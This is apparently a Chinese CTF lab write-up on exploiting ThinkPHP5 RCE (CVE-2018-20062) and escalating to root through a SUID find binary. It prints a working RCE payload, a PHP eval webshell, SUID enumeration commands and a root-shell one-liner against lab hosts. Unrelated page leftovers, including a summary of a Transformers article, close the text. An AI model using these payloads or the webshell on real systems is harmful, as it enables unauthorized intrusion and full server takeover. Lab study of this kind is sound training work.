ThinkPHP5 RCE+Linux find提权渗透实战:原理+复现(CVE-2018-20062)

目录

一、thinkphp5漏洞

二、find提权

1、什么是 SUID?

2、find命令的 SUID 提权原理

3、find提权步骤

第一步:信息收集与权限确认

第二步:验证SUID权限有效性

第三步:执行提权操作获取Root Shell

三、漏洞渗透

1、fscan扫描

2、使用think php综合利用工具渗透

3、连接蚁剑

4、find提权


本文分析了ThinkPHP5框架的远程代码执行漏洞(RCE)和利用find命令的SUID提权方法,通过原理讲解和实操复现两个漏洞的渗透过程。文章第一部分讲解了ThinkPHP5漏洞的Get shell渗透过程,攻击者可构造恶意POST请求执行任意系统命令。第二部分介绍了通过find命令的SUID提权技术。最后展示了完整的渗透测试流程,从fscan扫描到使用thinkphp_gui_tools获取shell,再到蚁剑连接和find提权获取flag文件。两种技术结合展示了从漏洞利用到权限提升的全过程。

一、thinkphp5漏洞

  • 漏洞编号ThinkPHP5 5.0.23 RCE 或 ThinkPHP5 invokeFunction RCE

  • 漏洞影响范围:ThinkPHP 5.x 版本中小于 5.1.31 的版本,以及 5.0.x 版本中小于等于 5.0.23 的版本都受该漏洞影响。

  • 漏洞类型:远程代码执行(Remote Code Execution)。

  • 危险等级:严重(Critical)。

  • 漏洞本质:由于框架对控制器名的过滤不严,导致攻击者可以通过URL调用到核心类 think\App 中的 invokeFunction 方法,从而传递恶意参数并执行任意PHP函数。

  • 漏洞成因:ThinkPHP 5 框架底层对控制器名过滤不严,在未开启强制路由的情况下,攻击者可以通过 URL 调用到 ThinkPHP 框架内部的敏感函数。具体来说,在框架的路由解析过程中,$method来自可控的$_POST数组,且获取后没有进行任何检查,就直接把它作为Request类的方法进行调用,同时该方法传入的参数也是可控数据$_POST,这就使得攻击者可以随意调用Request类的部分方法,进而导致远程代码执行漏洞的产生。
  • 漏洞原理:攻击者可以构造特定的 POST 请求,利用_method=__construct来调用构造方法__construct(),从而覆盖Request类的任意成员变量。例如,通过filter=system可以传递filter值覆盖原有值,再通过server(REQUEST_METHOD)=命令来指定要执行的系统命令,最后通过method=get使得请求能够通过路由检查,最终实现远程代码执行。
  • 漏洞利用方式:可以使用 HackBar 或 BurpSuite 等工具进行漏洞利用。以 BurpSuite 为例,首先对目标网站的请求进行抓包,将请求方式改为 POST,然后在请求参数中构造类似_method=__construct&filter()=system&method=get&server(REQUEST_METHOD)=id的 payload,其中id可以替换为任意想要执行的系统命令。如果漏洞存在,服务器会执行相应的命令并返回结果。攻击者还可以通过该漏洞上传经过 Base64 加密的 shell 脚本,然后使用蚁剑等 webshell 工具连接服务器,进行更深入的恶意操作。

二、find提权

1、什么是 SUID?

  • SUID (Set User ID) 是一种特殊的文件权限。

  • 当一个具有SUID权限的可执行文件被运行时,该进程将不再以执行它的用户身份运行,而是以该文件所有者的身份运行。

  • 例如,/usr/bin/passwd 命令就有 SUID 权限,所有者为 root。普通用户执行 passwd 来修改自己的密码时,实际是在以 root 权限执行,否则无法修改 /etc/shadow 文件。

ls -la /usr/bin/passwd
# 输出示例:-rwsr-xr-x 1 root root ... /usr/bin/passwd
# 注意所有者权限位的 's',这就是 SUID 标志。

2、find命令的 SUID 提权原理

  • 如果 find 命令被设置了 SUID 位,并且其所有者是 root

  • 那么,任何用户执行 find 命令时,该 find 进程都将拥有 root 权限。

  • find 命令有一个强大的 -exec 参数,可以执行任意系统命令

  • 因此,如果一个低权限用户能够执行具有 SUID 权限的 find 命令,并通过 -exec 参数执行 /bin/bash 或 /bin/sh,那么启动的 Shell 也将继承 root 权限。

3、find提权步骤

第一步:信息收集与权限确认

在成功获取一个低权限的Shell(例如www-data或apache用户)后,攻击者首先需要确认当前权限级别,通常使用whoamiid命令。紧接着,攻击者会开始搜寻系统中所有设置了SUID权限的可执行文件。这是通过执行命令find / -perm -u=s -type f 2>/dev/null来实现的,该命令会遍历整个文件系统,筛选出那些权限位中设置了SetUID位的文件,并将所有错误输出重定向到空设备以避免干扰。在返回的结果列表中,攻击者会仔细寻找像/usr/bin/find这样的常见系统命令。

第二步:验证SUID权限有效性

一旦发现find命令具有SUID权限,攻击者不会立即进行利用,而是先验证其有效性以确保利用成功。他们通常会执行/usr/bin/find . -exec whoami \; -quit这样的试探性命令。这条命令会利用find的-exec参数执行whoami命令,如果返回结果是"root",则确凿地证明当前执行的find进程确实是以root权限运行的。这个验证步骤至关重要,因为它避免了在无效目标上浪费精力,并确认了提权的可行性。

第三步:执行提权操作获取Root Shell

在确认find命令可以以root权限执行后,攻击者便会发起最终的提权操作。最直接的方式是执行命令:/usr/bin/find . -exec /bin/bash -p \; -quit。这里的-exec参数会为每个找到的文件执行/bin/bash -p,而-p选项指示bash保留提升的权限。由于find进程本身具有root权限,它由此启动的bash shell也就继承了root权限。参数-quit确保find在找到第一个匹配项后立即退出,从而只产生一个root shell。

三、漏洞渗透

1、fscan扫描

使用fscan -h 10.23.28.0/24扫描10.23.28.0网段,发现10.23.28.100:8001由thinkphp 5.23的RCE远程执行漏洞,效果如下所示。  

2、使用think php综合利用工具渗透

thinkphp_gui_tools 是一个采用 JDK8 + javafx 开发的 ThinkPHP 图形化综合利用工具,其下载地址如下URL所示,选择Release版本进行下载,如下图红框所示。

https://github.com/bewhale/thinkphp_gui_tools

下载后解压,在thinkphp.jar所在的目录下执行java -jar ThinkPHP.jar命令,如下所示。

执行java -jar ThinkPHP.jar后即可启动thinkphp综合利用工具,如下图所示,URL地址填写thinkphp的主页,即http://10.23.28.100:8081,然后点击漏洞检测。

检测出有thinkphp5的RCE可执行漏洞,此时点击Getshell,文件名输入ljn.php,木马内容写<?php @eval($_POST[ljn3]); ?>,然后点击Getshell,如下所示上传成功。

<?php @eval($_POST[ljn3]); ?>

3、蚁剑连接

蚁剑的URL链接为http://10.23.28.100:8081/ljn.php,密码为ljn,添加连接成功如下所示。

连接蚁剑成功后,查找到网址根目录下有.hint.txt文件,查看内容是关于提权相关知识点,具体如下所示。

4、find提权

查找有SUID权限的命令,如下所示find命令有效。

使用find提权,使可以查看根目录下的flag文件。find命令本身是用于查找文件的工具,但如果它被设置了 SUID 权限,则普通用户执行find时会以文件所有者(通常是 root)的权限运行。此时,通过-exec参数可以执行系统命令,从而实现提权操作,具体命令如下所示。

touch test
find test -exec whoami \;
find test -exec cat /flag \;
  • touch test

    这是创建一个名为test的空文件,用于后续find命令的查找目标。find命令需要指定查找对象,这里通过创建一个简单的文件作为查找目标,为后续执行命令做准备。

  • find test -exec whoami \;

    • find test:查找名为test的文件。
    • -execfind命令的一个参数,用于在找到匹配文件后执行后续命令。
    • whoami \;:表示执行whoami命令(查看当前用户身份),\;-exec参数的结束标志。
      这条命令的作用是:在找到test文件后,执行whoami,通常用于测试当前find命令是否具备执行命令的权限。
  • find test -exec cat /flag \;

    与上一条命令逻辑类似,找到test文件后执行cat /flag,目的是读取/flag文件的内容

内容概要:本文详细介绍了如何使用Hugging Face Transformers库进行大模型推理,涵盖环境配置、模型下载、缓存管理、离线使用、文本生成、推理pipeline及模型量化技术。重点讲解了使用LLMs进行自回归生成的核心流程,包括token选择策略、生成参数配置(如max_new_tokens、do_sample)、填充方式(左填充的重要性)以及常见陷阱的规避方法。同时深入探讨了多种量化技术(如GPTQ、AWQ、bitsandbytes的4位/8位量化),并通过实例演示了如何加载本地模型、应用聊天模板、结合Flash Attention优化性能,并实现CPU-GPU混合卸载以应对显存不足的问题。; 适合人群:具备Python编程基础和深度学习基础知识,熟悉Transformer架构,从事NLP或大模型相关工作的研究人员、工程师和技术爱好者;尤其适合需要在资源受限环境下部署大模型的开发者。; 使用场景及目标:①掌握Hugging Face Transformers库的核心API,实现大模型的本地加载与高效推理;②理解和避免大模型生成过程中的常见问题(如输出过短、重复生成、填充错误等);③应用量化技术降低大模型内存占用,实现在消费级GPU或CPU上的部署;④构建支持批量处理和多模态任务的推理流水线。; 阅读建议:此资源理论与实践紧密结合,建议读者边阅读边动手实践,复现文中的代码示例,并尝试在不同模型和硬件环境下进行调优。重点关注生成配置、量化参数和设备映射策略,结合具体应用场景灵活调整。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值